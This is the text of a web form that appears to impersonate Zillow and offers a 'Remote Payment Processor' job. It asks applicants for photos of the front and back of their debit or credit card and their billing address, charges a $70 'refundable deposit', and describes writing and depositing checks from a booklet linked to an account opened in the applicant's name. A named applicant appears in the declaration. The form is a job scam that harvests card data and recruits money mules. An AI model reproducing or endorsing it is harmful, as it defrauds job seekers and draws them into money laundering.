Zillow

Eligibility Verification Form

Second-Step Application — Please complete all required fields

Eligibility Requirement

To qualify for this position, you must have either a regular bank account that has been open for at least 3 months, OR a regular credit card with a limit of at least $2,500.

Personal Information

Full Name *

Email Address

Phone Number

Banking & Account Information

Account Type *

Card / Account Photos

Upload clear images of the front and back of your regular debit card or credit card.

💳 Refundable Deposit

If you have a regular bank account, a $70 open deposit will be charged to your debit card. This deposit is fully refundable and serves only to confirm your account is valid and active.

📬 Check Booklet Issuance

We will order a check booklet linked to the one-time account we create for you. The booklet will be mailed to the home address associated with your debit/credit card.

💰 Funding & Disbursement

The one-time account will be funded only when a payment disbursement is requested. You will receive instructions on how to write a check from the booklet for the exact amount, deposit it into your regular bank account, and complete the disbursement.

⚠️ Critical Disclosures

The name on the debit/credit card you upload will be the name used to set up the one-time account and the attached check booklet.
Any false information provided in your application may result in penalties on your paycheck or account; we assume no responsibility for such outcomes.

Card Front *

Card Back *

Card Billing Address

Digital Signature *

By signing below, you confirm that all information provided is accurate and truthful.

Sign here with your finger or mouse

Declaration

I, Yolanda Rochelle Flowers , hereby declare that:

All information provided in this form is accurate and complete to the best of my knowledge.
I understand that providing false information may result in disqualification from the Zillow Remote Payment Processor program.
I consent to Zillow verifying the banking information provided as part of the eligibility review process.
I understand that this is a legitimate remote work opportunity and I will follow all provided instructions carefully.

I have read and agree to the declaration above. I confirm all information is accurate.

🔒 Your information is encrypted and securely stored. Zillow will never share your data with third parties.